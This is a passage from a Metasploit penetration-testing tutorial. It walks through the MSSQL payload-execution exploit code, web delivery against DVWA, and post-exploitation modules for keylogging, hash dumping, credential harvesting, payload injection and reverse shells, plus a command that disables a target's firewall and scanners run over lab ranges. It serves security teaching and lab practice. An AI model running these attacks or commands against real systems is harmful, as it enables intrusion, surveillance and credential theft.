arkeia.rb dhcp.rb mssql_commands.rb smb.rb
browser_autopwn.rb dialup.rb mssql.rb smtp_deliver.rb
brute.rb egghunter.rb mssql_sqli.rb smtp.rb
brutetargets.rb exe.rb mysql.rb snmp.rb
capture.rb file_dropper.rb ndmp.rb sunrpc.rb
cmdstager_bourne.rb fileformat.rb ntlm.rb tcp.rb
cmdstager_debug_asm.rb fmtstr.rb omelet.rb telnet.rb
cmdstager_debug_write.rb ftp.rb oracle.rb tftp.rb
cmdstager_echo.rb ftpserver.rb pdf_parse.rb tns.rb
cmdstager_printf.rb http pdf.rb udp.rb
cmdstager.rb imap.rb php_exe.rb vim_soap.rb
cmdstager_tftp.rb ip.rb pop2.rb wbemexec.rb
cmdstager_vbs_adodb.rb ipv6.rb postgres.rb wdbrpc_client.rb
cmdstager_vbs.rb java.rb powershell.rb wdbrpc.rb
db2.rb kernel_mode.rb realport.rb web.rb
dcerpc_epm.rb local remote winrm.rb
dcerpc_lsa.rb local.rb riff.rb
dcerpc_mgmt.rb lorcon2.rb ropdb.rb
dcerpc.rb lorcon.rb seh.rb
Here we see several modules of interest, such as prepackaged protocols for Microsoft’s SQL, HTTP, TCP, FTP, SMTP,
SNMP, Oracle, and many more. These files undergo constant changes and updates, adding new functionalities over
time.
Let’s start with a very simple program, navigate to /usr/share/metasploit-framework/modules/auxiliary/scanner/mssql
and create the required Metasploit folder structure under your home directory to store your custom module. Metasploit
automatically looks in this folder structure so no extra steps are required for your module to be found.
root@kali:/usr/share/metasploit-framework/modules/auxiliary/scanner/mssql# mkdir -p ~/
˓→.msf4/modules/auxiliary/scanner/mssql
root@kali:/usr/share/metasploit-framework/modules/auxiliary/scanner/mssql# cp mssql_
˓→ping.rb ~/.msf4/modules/auxiliary/scanner/mssql/ihaz_sql.rb
Open the newly-created file using your favourite editor and we’ll begin crafting our example module, walking through
each line and what it means:
##
# $Id: ihaz_sql.rb 7243 2009-12-04 21:13:15Z rel1k $ >--- automatically gets set
˓→for us when we check in
##
##
# This file is part of the Metasploit Framework and may be subject to >----
˓→ licensing agreement, keep standard
Now that you have a basic idea of the module, save the above code (without the >—— comment strings) and let’s run
it in msfconsole.
Auxiliary
=========
Name Description
---- -----------
scanner/mssql/ihaz_sql MSSQL Ping Utility
Module options:
Success! Our module has been added! Now that we have a basic understanding of how to add a module, let’s take a
closer look at the MSSQL module written for the Metasploit framework.
In the previous section, we created a very basic module to get a better understanding of the principles behind a build.
This section briefly explains passing payloads using the MSSQL module. The code presented currently works on the
following installations of Microsoft’s SQL Server: 2000, 2005, and 2008. We will first walk through the code and
explain how this attack vector works before making our own from the ground up.
When an administrator first installs MSSQL, they have the option of using either mixed-mode authentication or SQL-
based authentication. Using the latter, a password for the ‘sa’ account must be specified by the administrator. The ‘sa’
account is the systems administrator for the SQL server and has most, if not all, permissions on the system. Guessing
this password, either using social engineering or other means, one can leverage this attack vector using Metasploit
and perform additional actions. In a previous module, we discussed discovering which TCP port MSSQL is using by
querying UDP port 1434 and executing dictionary attacks for guessing the ‘sa’ password.
For our purposes, we’ll assume we are aware of the SQL system administrator’s account password. If you wish to
recreate this attack, you will need to have a working copy of Microsoft Windows as well as any of the previously
mentioned versions of MSSQL.
Exploit target:
Id Name
-- ----
0 Automatic
C:\WINDOWS\system32>
We will be looking at three different files, they should be relatively familiar from prior sections.
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql_commands.rb
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql.rb
/usr/share/metasploit-framework/modules/exploits/windows/mssql/mssql_payload.rb
Lets first take a look at the ‘mssql_payload.rb’ as to get a better idea at what we will be working with.
##
# $Id: mssql_payload.rb 7236 2009-10-23 19:15:32Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K"
'License' => MSF_LICENSE,
'Version' => '$Revision: 7236 $',
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
(continues on next page)
def exploit
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
handler
disconnect
end
While this file may seem simple, there is actually a lot of going on behind the scenes. Lets break down this file and
look at the different sections. Specifically we are calling from the mssql.rb in the lib/msf/core/exploits area.
One of the first things that is done in this file is the importation of the Remote class, and inclusion of the MSSQL
module.
include Msf::Exploit::Remote::MSSQL
The reference section simply enumerates additional information concerning the attack or the initial exploit proof of
concept. This is where we would find OSVDB references, EDB references and so on.
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
The platform section indicates the target’s platform and version. The following part is the ‘Targets’ object, which is
where different versions would be enumerated. These lines give the user the ability to select a target prior to an attack.
The ‘DefaultTarget’ value is used when no target is specified when setting up the attack.
The ‘def exploit’ line indicates the beginning of our exploit code. The next declaration is for debugging purposes.
Considering there is a lot of information going back and forth, it’s a good idea having this set to ‘false’ until it’s
needed.
Moving on to the next line, this is the most complex portion of the entire attack. This one liner here is really multiple
lines of code being pulled from mssql.rb.
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
mssql_upload_exec (function defined in mssql.rb for uploading an executable through SQL to the underlying operating
system)
Msf::Util::EXE.to_win32pe(framework,payload.encoded) = create a metasploit payload based off of what you speci-
fied, make it an executable and encode it with default encoding
debug = call the debug function is it on or off?
Lastly the handler will handle the connections from the payload in the background so we can accept a metasploit
payload. The disconnect portion of the code ceases the connection from the MSSQL server.
Now that we have walked through this portion, we will break down the next section in the mssql.rb to find out exactly
what this attack was doing.
Looking int the ‘mssql.rb’ file using a text editor, locate the ‘mssql_upload_exec’. We should be presented with the
following:
#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
The def mssql_upload_exec(exe, debug=false) requires two parameters and sets the debug to false by default unless
otherwise specified.
The hex = exe.unpack(“H*”)[0] is some Ruby Kung-Fuey that takes our generated executable and magically turns it
into hexadecimal for us.
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8) and var_payload = rand_text_alpha(8) creates two variables with a random set of 8
alpha characters, for example: PoLecJeX
var_bypass = rand_text_alpha(8)
The print_status must always be used within Metasploit, ‘puts’ is no longer accepted in the framework. If you no-
tice there are a couple things different for me vs. python, in the print_status you’ll notice “#{var_payload}.exe this
subsititues the variable var_payload into the print_status message, so you would essentially see portrayed back “PoLec-
JeX.exe”
The h2b.gsuc!(/KemneE3N/, “%TEMP%\#{var_bypass}”) is simply substituing a hardcoded name with the dynamic
one we created above, if you look at the h2b file, KemneE3N is called on multiple occasions and we want to randomly
create a name to obfuscate things a little better. The gsub just substitutes the hardcoded with the random one.
The h2b.split(/n/).each do |line| will start a loop for us and split the bulky h2b file into multiple lines, reason being is
we can’t send the entire bulk file over at once, we have to send it a little at a time as the MSSQL protocol does not
allow us very large transfers through SQL statements.
Lastly, the mssql_xpcmdshell(“#{line}”, false) sends the initial stager payload line by line while the false specifies
debug as false and to not send the information back to us.
The next few steps convert our h2b file to a binary for us utilizing Windows debug, we are using the %TEMP%
directory for more reliability. The mssql_xpcmdshell strored procedure is allowing this to occur.
The idx = 0 will server as a counter for us to let us know when the filesize has been reached, and the cnt = 500 specifies
how many characters we are sending at a time. The next line sends our payload to a new file 500 characters at a time,
increasing the idx counter and ensuring that idx is still less than the hex.length blob.
Once that has been finished the last few steps convert our metasploit payload back to an executable using our previously
staged payload then executes it giving us our payload!
idx = 0
So we’ve walked through the creation of an overall attack vector and got more familiar with what goes on behind the
curtains. If your thinking about creating a new module, look around there is usually something that you can use as a
baseline to help you create it.
Metasploit’s Web Delivery Script is a versatile module that creates a server on the attacking machine which hosts a
payload. When the victim connects to the attacking server, the payload will be executed on the victim machine.
This exploit requires a method of executing commands on the victim machine. In particular you must be able to reach
the attacking machine from the victim. Remote command execution is a great example of an attack vector where using
this module is possible. The web delivery script works on php, python, and powershell based applications.
This exploit becomes a very useful tool when the attacker has some control of the system, but does not possess a full
shell. In addition, since the server and payload are both on the attacking machine, the attack proceeds without being
written to disk. This helps keep the attacking fingerprint low.
This is an example of the execution of this module on the Damn Vulnerable Web Application (DVWA) within Metas-
ploitable.
Click on “DVWA Security” in the left panel. Set the security level to “low” and click “Submit”.
First, we check for simple command execution.
Click on “Command Execution”. Enter an IP address followed by a semi-colon and the command you wish to execute.
Next, we need to make sure that we can connect with the attacking host. Because of the nature of this particular
application, this was achieved above. Generally, be sure to ping, telnet or otherwise call the host.
Now we can set the necessary options and run the exploit. Note that the target must be specified before the payload
Exploit target:
Id Name
-- ----
1 PHP
Active sessions
===============
4.11.1 Windows
keylog_recorder
The “keylog_recorder” post module captures keystrokes on the compromised system. Note that you will want to
ensure that you have migrated to an interactive process prior to capturing keystrokes.
meterpreter >
Background session 1? [y/N] y
msf > use post/windows/capture/keylog_recorder
msf post(keylog_recorder) > info
Provided by:
Carlos Perez
Josh Hale
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CAPTURE_TYPE explorer no Capture keystrokes for Explorer, Winlogon
˓→or PID (Accepted: explorer, winlogon, pid)
Description:
This module can be used to capture keystrokes. To capture keystrokes
when the session is running as SYSTEM, the MIGRATE option must be
enabled and the CAPTURE_TYPE option should be set to one of
Explorer, Winlogon, or a specific PID. To capture the keystrokes of
the interactive user, the Explorer option should be used with
MIGRATE enabled. Keep in mind that this will demote this session to
the user's privileges, so it makes sense to create a separate
session for this task. The Winlogon option will capture the username
and password entered into the logon and unlock dialog. The
LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to
for the user to enter their clear-text password. It is recommended
to run this module as a job, otherwise it will tie up your framework
user interface.
After we have finished sniffing keystrokes, or even while the sniffer is still running, we can dump the captured data.
Gather Modules
Metasploit offers a number of post exploitation modules that allow for further information gathering on your target
network.
arp_scanner
The “arp_scanner” post module will perform an ARP scan for a given range through a compromised host.
checkvm
The “checkvm” post module, simply enough, checks to see if the compromised host is a virtual machine. This module
supports Hyper-V, VMWare, VirtualBox, Xen, and QEMU virtual machines.
meterpreter > run post/windows/gather/checkvm
credential_collector
The “credential_collector” module harvests passwords hashes and tokens on the compromised host.
meterpreter > run post/windows/gather/credentials/credential_collector
Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Extracted:
˓→HelpAssistant:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714
Extracted: SUPPORT_
˓→388945a0:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287
dumplinks
The “dumplinks” module parses the .lnk files in a users Recent Documents which could be useful for further informa-
tion gathering. Note that, as shown below, we first need to migrate into a user process prior to running the module.
meterpreter > run post/windows/manage/migrate
[*] No Recent Office files found for user Administrator. Nothing to do.
meterpreter >
enum_applications
The “enum_applications” module enumerates the applications that are installed on the compromised host.
meterpreter > run post/windows/gather/enum_applications
Installed Applications
======================
Name Version
---- -------
Adobe Flash Player 25 ActiveX 25.0.0.148
Google Chrome 58.0.3029.81
(continues on next page)
meterpreter >
enum_logged_on_users
The “enum_logged_on_users” post module returns a listing of current and recently logged on users along with their
SIDs.
meterpreter > run post/windows/gather/enum_logged_on_users
SID User
--- ----
S-1-5-21-628913648-3499400826-3774924290-1000 WIN7-X86\victim
S-1-5-21-628913648-3499400826-3774924290-1004 WIN7-X86\hacker
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20
˓→C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-628913648-3499400826-3774924290-1000 C:\Users\victim
S-1-5-21-628913648-3499400826-3774924290-1004 C:\Users\hacker
(continues on next page)
meterpreter >
enum_shares
The “enum_shares” post module returns a listing of both configured and recently used shares on the compromised
system.
enum_snmp
The “enum_snmp” module will enumerate the SNMP service configuration on the target, if present, including the
community strings.
hashdump
The “hashdump” post module will dump the local users accounts on the compromised host using the registry.
Administrator:500:7bf4f254b222ab21aad3b435b51404ee:2792d23cdf84d1a70e2eb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714:::
SUPPORT_
˓→388945a0:1002:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287:::
meterpreter >
usb_history
The “usb_history” module enumerates the USB drive history on the compromised system.
meterpreter > run post/windows/gather/usb_history
Class DiskDrive
Driver {4D36E967-E325-11CE-BFC1-08002BE10318}\0001
meterpreter >
local_exploit_suggester
The “local_exploit_suggester”, or Lester for short, scans a system for local vulnerabilities contained in Metasploit. It
then makes suggestions based on the results as well as displays exploit’s location for quicker access.
msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > show options
Manage Modules
autoroute
The “autoroute” post module creates a new route through a Meterpreter sessions allowing you to pivot deeper into a
target network.
With our new route added, we can run additional modules through our pivot.
delete_user
The “delete_user” post module deletes a specified user account from the compromised system.
We can them dump the hashes on the system and verify that the user no longer exists on the target.
Administrator:500:7bf4f254b228bb24aad1b435b51404ee:2892d26cdf84d7a70e2fb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714:::
SUPPORT_
˓→388945a0:1002:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287:::
meterpreter >
migrate
The “migrate” post module will migrate to a specified process or if none is given, will automatically spawn a new
process and migrate to it.
multi_meterpreter_inject
The “multi_meterpreter_inject” post module will inject a given payload into a process on the compromised host. If
no PID value is specified, a new process will be created and the payload injected into it. Although, the name of the
module is multi_meterpreter_inject, any payload can be specified.
meterpreter > ^Z
Background session 5? [y/N] y
msf exploit(handler) > connect 192.168.1.195 4444
[*] Connected to 192.168.1.195:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
C:\WINDOWS\system32>
4.11.2 Linux
Gather Modules
checkvm
The checkvm module attempts to determine whether the system is running inside of a virtual environment and if so,
which one. This module supports detection of Hyper-V, VMWare, VirtualBox, Xen, and QEMU/KVM.
enum_configs
The enum_configs module collects configuration files found on commonly installed applications and services, such as
Apache, MySQL, Samba, Sendmail, etc. If a config file is found in its default path, the module will assume that is the
file we want.
msf > use post/linux/gather/enum_configs
msf post(enum_configs) > show options
enum_network
The enum_network module gathers network information from the target system IPTables rules, interfaces, wireless
information, open and listening ports, active network connections, DNS information and SSH information.
msf > use post/linux/gather/enum_network
msf post(enum_network) > show options
enum_protections
The enum_protections module tries to find certain installed applications that can be used to prevent, or detect our
attacks, which is done by locating certain binary locations, and see if they are indeed executables. For example, if we
are able to run ‘snort’ as a command, we assume it’s one of the files we are looking for. This module is meant to cover
various antivirus, rootkits, IDS/IPS, firewalls, and other software.
msf > use post/linux/gather/enum_protections
msf post(enum_protections) > show options
enum_system
The enum_system module gathers system information. It collects installed packages, installed services, mount infor-
mation, user list, user bash history and cron jobs
msf > use post/linux/gather/enum_system
msf post(enum_system) > show options
enum_users_history
The enum_users_history module gathers user specific information. User list, bash history, mysql history, vim history,
lastlog and sudoers.
[+] Info:
[+] Kali GNU/Linux 1.0.6
[+] Linux kali 3.12-kali1-486 #1 Debian 3.12.6-2kali1 (2014-01-06) i686 GNU/Linux
[*] History for root stored in /root/.msf4/loot/20140228005914_default_192.168.1.109_
˓→linux.enum.users_491309.txt
4.11.3 OS X
Gather Modules
enum_osx
The “enum_osx” post module gathers basic system information from Mac OS X Tiger, Leopard, Snow Leopard and
Lion systems.
root@kali:~/.msf4/logs/post/enum_osx/RJLAP4.local_20120926.3521# ls
Airport.txt Firewall.txt OS.txt
˓→ TCP Connections.txt
Applications.txt Frameworks.txt OS X Gather Mac OS X System
˓→Information Enumeration UDP Connections.txt
Bluetooth.txt Groups.txt Preference Panes.txt
˓→ USB.txt
(continues on next page)
Firewall Settings:
4.11.4 Multiple OS
Gather Modules
env
The “env” module will collect and display the operating system environment variables on the compromised system.
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 37 Stepping 2, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=2502
Path=C:\Perl\site\bin;C:\Perl\bin;C:\WINDOWS\system32;C:\WINDOWS;
˓→C:\WINDOWS\System32\Wbem;c:\python25;c:\Program Files\Microsoft SQL Server\90\Tools\
˓→$
TEMP=C:\WINDOWS\TEMP
(continues on next page)
firefox_creds
The “firefox_creds” post-exploitation module gathers saved credentials and cookies from an installed instance of
Firefox on the compromised host. Third-party tools can then be used to extract the passwords if there is no master
password set on the database.
meterpreter > run post/multi/gather/firefox_creds
meterpreter >
ssh_creds
The “ssh_creds” module will collect the contents of user’s .ssh directory on the targeted machine. Additionally,
known_hosts and authorized_keys and any other files are also downloaded.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
lhost => 192.168.1.101
msf exploit(handler) > set LPORT 443
lport => 443
msf exploit(handler) > exploit
id
uid=0(root) gid=0(root) groups=0(root)
^Z
Background session 1? [y/N] y
General Modules
execute
This module will execute arbritrary commands to an open sessions. Works on Windows, Linux, OSX and Unix
platforms.
[*] Response:
[*] Post module execution completed
malware_check
This module uploads a file to virustotal.com, and displays the scan results. It can also be run directly from within a
meterpreter session. Works on Windows, Linux, OSX and Unix platforms.
=====================================================================================================
...snip...
=====================================================================================================
tomcat_administration
The “tomcat_administration” module scans a range of IP addresses and locates the Tomcat Server administration panel
and version.
msf > use auxiliary/admin/http/tomcat_administration
msf auxiliary(tomcat_administration) > show options
To configure the module, we set the RHOSTS and THREADS values and let it run against the default port.
msf auxiliary(tomcat_administration) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(tomcat_administration) > set THREADS 11
THREADS => 11
msf auxiliary(tomcat_administration) > run
mssql_enum
The “mssql_enum” is an admin module that will accept a set of credentials and query a MSSQL for various configu-
ration settings.
msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > show options
To configure the module, we accept the default username, set our PASSWORD and RHOST, then let it run.
msf auxiliary(mssql_enum) > set PASSWORD password1
PASSWORD => password1
msf auxiliary(mssql_enum) > set RHOST 192.168.1.195
RHOST => 192.168.1.195
msf auxiliary(mssql_enum) > run
(continues on next page)
mssql_exec
The “mssql_exec” admin module takes advantage of the xp_cmdshell stored procedure to execute commands on the
remote system. If you have acquired or guessed MSSQL admin credentials, this can be a very useful module.
msf > use auxiliary/admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
We set our RHOST and PASSWORD values and set the CMD to disable the Windows Firewall on the remote system.
This can enable us to potentially exploit other services running on the target.
msf auxiliary(mssql_exec) > set CMD netsh firewall set opmode disable
CMD => netsh firewall set opmode disable
msf auxiliary(mssql_exec) > set PASSWORD password1
PASSWORD => password1
msf auxiliary(mssql_exec) > set RHOST 192.168.1.195
RHOST => 192.168.1.195
msf auxiliary(mssql_exec) > run
[*] The server may have xp_cmdshell disabled, trying to enable it...
[*] SQL Query: EXEC master..xp_cmdshell 'netsh firewall set opmode disable'
output
------
Ok.
mysql_enum
The “mysql_enum” module will connect to a remote MySQL database server with a given set of credentials and
perform some basic enumeration on it.
msf > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
To configure the module, we provide values for PASSWORD, RHOST, and USERNAME then let it run against the
target.
mysql_sql
The “mysql_sql” module performs SQL queries on a remote server when provided with a valid set of credentials.
To configure the module, we provided the PASSWORD, RHOST, and USERNAME settings and we will leave the
default query to pull the server version.
postgres_readfile
The “postgres_readfile” module, when provided with valid credentials for a PostgreSQL server, will read and display
files of your choosing on the server.
In order to configure the module, we set the PASSWORD and RHOST values, set RFILE as the file we wish to read
and let the module run.
msf auxiliary(postgres_readfile) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_readfile) > set RFILE /etc/hosts
RFILE => /etc/hosts
msf auxiliary(postgres_readfile) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_readfile) > run
input
-----
127.0.0.1 localhost
127.0.1.1 ph33r
postgres_sql
The “postgres_sql” module, when provided with valid credentials for a PostgreSQL server, will perform queries of
your choosing and return the results.
msf > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(postgres_sql) > show options
The required configuration for this module is minimal as we will just set our PASSWORD and RHOST values, leave
the default query to pull the server version, then let it run against our target.
msf auxiliary(postgres_sql) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_sql) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_sql) > run
version
-------
PostgreSQL 8.3.8 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-
˓→1ubuntu11) 4.3.2
poweron_vm
The “poweron_vm” module will log into the Web API of VMware and try to power on a specified Virtual Machine.
msf > use auxiliary/admin/vmware/poweron_vm
msf auxiliary(poweron_vm) > show options
Running the module gives little output but nothing more is needed besides the success or failure of powering on the
virtual machine.
msf auxiliary(poweron_vm) > run
endpoint_mapper
The endpoint_mapper module queries the EndPoint Mapper service of a remote system to determine what services are
available. In the information gathering stage, this can provide some very valuable information.
msf > use auxiliary/scanner/dcerpc/endpoint_mapper
msf auxiliary(endpoint_mapper) > show options
(continues on next page)
Module options:
In order to run the module, all we need to do is pass it a range of IP addresses, set the THREADS count, and let it go
to work.
msf auxiliary(endpoint_mapper) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(endpoint_mapper) > set THREADS 55
threads => 55
msf auxiliary(endpoint_mapper) > run
[*] Connecting to the endpoint mapper service...
[*] Connecting to the endpoint mapper service...
[*] Connecting to the endpoint mapper service...
...snip...
[*] Connecting to the endpoint mapper service...
[*] Connecting to the endpoint mapper service...
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (dhcpcsvc) [DHCP Client LRPC
˓→Endpoint]
hidden
The dcerpc/hidden scanner connects to a given range of IP addresses and try to locate any RPC services that are not
listed in the Endpoint Mapper and determine if anonymous access to the service is allowed.
Module options:
As you can see, there are not many options to configure so we will just point it at some targets and let it run.
As you can see, despite the simple setup, we still gathered some additional information about one of our targets.
management
The dcerpc/management module scans a range of IP addresses and obtains information from the Remote Management
interface of the DCERPC service.
Module options:
(continues on next page)
There is minimal configuration required for this module; we simply need to set our THREADS value and the range of
hosts we want scanned and run the module.
tcp_dcerpc_auditor
The dcerpc/tcp_dcerpc_auditor module scans a range of IP addresses to determine what DCERPC services are avail-
able over a TCP port.
msf > use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
msf auxiliary(tcp_dcerpc_auditor) > show options
Module options:
To run this scanner, we just need to set our RHOSTS and THREADS values and let it run.
msf auxiliary(tcp_dcerpc_auditor) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(tcp_dcerpc_auditor) > set THREADS 55
THREADS => 55
msf auxiliary(tcp_dcerpc_auditor) > run
˓→000002000b0000000b00000004000200080002000c0002001000020014000200180002001c0002002000020024000200280
˓→7c5700000000a001000000000000c0000000000000460000000000000000
As you can see, this quick scan has turned up some available services on a number of our hosts which could warrant
further investigation.
arp_sweep
When your target systems are located on the same network as your attacking machine, you can enumerate systems by
performing an ARP scan. Naturally, Metasploit has a module that can help you out.
Due to the manner in which ARP scanning is performed, you need to pass your MAC address and source IP address
to the scanner in order for it to function properly.
As you will see when running this module, ARP scanning is very fast.
ipv6_neighbor
The “ipv6_neighbor” auxiliary module probes the local network for IPv6 hosts that respond to Neighbor Solicitations
with a link-local address. This module, like the arp_sweep one, will generally only work within the attacking machine’s
broadcast domain.
Module options:
In addition to setting our RHOSTS value, we also need to set our source MAC address(SMAC) and source
host(SHOST) IP address. We then set our RHOSTS and THREADS values and let the scanner run.
Looking at the module output, you can see that this scanner serves the dual-purpose of showing what hosts are online
similar to arp_sweep and then performs the IPv6 Neighbor Discovery.
**udp_probe*
The “udp_probe” module scans a given range of hosts for common UDP services. Note: This module is deprecated
and may disappear at any time.
[!]
˓→******************************************************************************************
There are very few required settings for this module so we just configure the RHOSTS and THREADS values and let
it run.
˓→PATCHED\pipe\MSSQL$SQLEXPRESS\sql\query )
As you can see in the above output, our quick little scan discovered many services running on a wide variety of
platforms.
udp_sweep
The “udp_sweep” module scans across a given range of hosts to detect commonly available UDP services.
To configure this module, we just need to set the RHOSTS and THREADS values and run it.
˓→PATCHED\pipe\MSSQL$SQLEXPRESS\sql\query )
With minimal effort, we have once again identified a wide range of services running on many different platforms
within our network.
anonymous
The “ftp/anonymous” scanner will scan a range of IP addresses searching for FTP servers that allow anonymous access
and determines where read or write permissions are allowed.
Module options:
Configuring the module is a simple matter of setting the IP range we wish to scan along with the number of concurrent
threads and let it run.
[*] 192.168.1.222:21 Anonymous READ (220 mailman FTP server (Version wu-2.6.2-5)
˓→ready.)
[*] 192.168.1.205:21 Anonymous READ (220 oracle2 Microsoft FTP Service (Version 5.0).)
[*] 192.168.1.215:21 Anonymous READ (220 (vsFTPd 1.1.3))
[*] 192.168.1.203:21 Anonymous READ/WRITE (220 Microsoft FTP Service)
[*] 192.168.1.227:21 Anonymous READ (220 srv2 Microsoft FTP Service (Version 5.0).)
[*] 192.168.1.204:21 Anonymous READ/WRITE (220 Microsoft FTP Service)
[*] Scanned 27 of 55 hosts (049% complete)
[*] Scanned 51 of 55 hosts (092% complete)
[*] Scanned 52 of 55 hosts (094% complete)
[*] Scanned 53 of 55 hosts (096% complete)
[*] Scanned 54 of 55 hosts (098% complete)
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >
ftp_login
The “ftp_login” auxiliary module will scan a range of IP addresses attempting to log in to FTP servers.
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > show options
This module can take both wordlists and user-specified credentials in order to attempt to login.
As we can see, the scanner successfully logged in to one of our targets with the provided credentials.
ftp_version
The “ftp_version” module simply scans a range of IP addresses and determines the version of any FTP servers that are
running.
Module options:
To setup the module, we just set our RHOSTS and THREADS values and let it run.
[*] 192.168.1.205:21 FTP Banner: '220 oracle2 Microsoft FTP Service (Version 5.0).
˓→\x0d\x0a'
[*] 192.168.1.227:21 FTP Banner: '220 srv2 Microsoft FTP Service (Version 5.0).
˓→\x0d\x0a'
[*] 192.168.1.249:21 FTP Banner: '220 ProFTPD 1.3.3a Server (Debian) [::ffff:192.168.
˓→1.249]\x0d\x0a'
cert
The “cert” scanner module is a useful administrative scanner that allows you to cover a subnet to check whether or not
server certificates are expired.
msf > use auxiliary/scanner/http/cert
msf auxiliary(cert) > show options
Module options:
To run the module, we just set our RHOSTS and THREADS values and let it do its thing.
msf auxiliary(cert) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(cert) > set THREADS 254
THREADS => 254
msf auxiliary(cert) > run
(continues on next page)
[*] 192.168.1.11 - '192.168.1.11' : 'Sat Sep 25 07:16:02 UTC 2010' - 'Tue Sep 22
˓→07:16:02 UTC 2020'
[*] 192.168.1.10 - '192.168.1.10' : 'Wed Mar 10 00:13:26 UTC 2010' - 'Sat Mar 07
˓→00:13:26 UTC 2020'
[*] 192.168.1.201 - 'localhost' : 'Tue Nov 10 23:48:47 UTC 2009' - 'Fri Nov 08
˓→23:48:47 UTC 2019'
The module output shows the certificate issuer, the issue date, and the expiry date.
dir_listing
The “dir_listing” module will connect to a provided range of web servers and determine if directory listings are enabled
on them.
Note that the module can be set to search in a particular path but we will simply run it in its default configuration.
As can be seen in the above output, one of our scanned servers does indeed have directory listings enabled on the root
of the server. Findings like these can turn into a gold mine of valuable information.
dir_scanner
The dir_scanner module scans one or more web servers for interesting directories that can be further explored.
SSL false no
˓→Negotiate SSL/TLS for outgoing connections
VHOST no HTTP
˓→server virtual host
We will accept the default dictionary included in Metasploit, set our target, and let the scanner run.
Our quick scan has turned up a number of directories on our target server that we would certainly want to investigate
further.
dir_webdav_unicode_bypass
The “dir_webdav_unicode_bypass” module scans a given range of webservers and attempts to bypass the authentica-
tion using the WebDAV IIS6 Unicode vulnerability.
Proxies no A
˓→proxy chain of format type:host:port[,type:host:port][...]
SSL false no
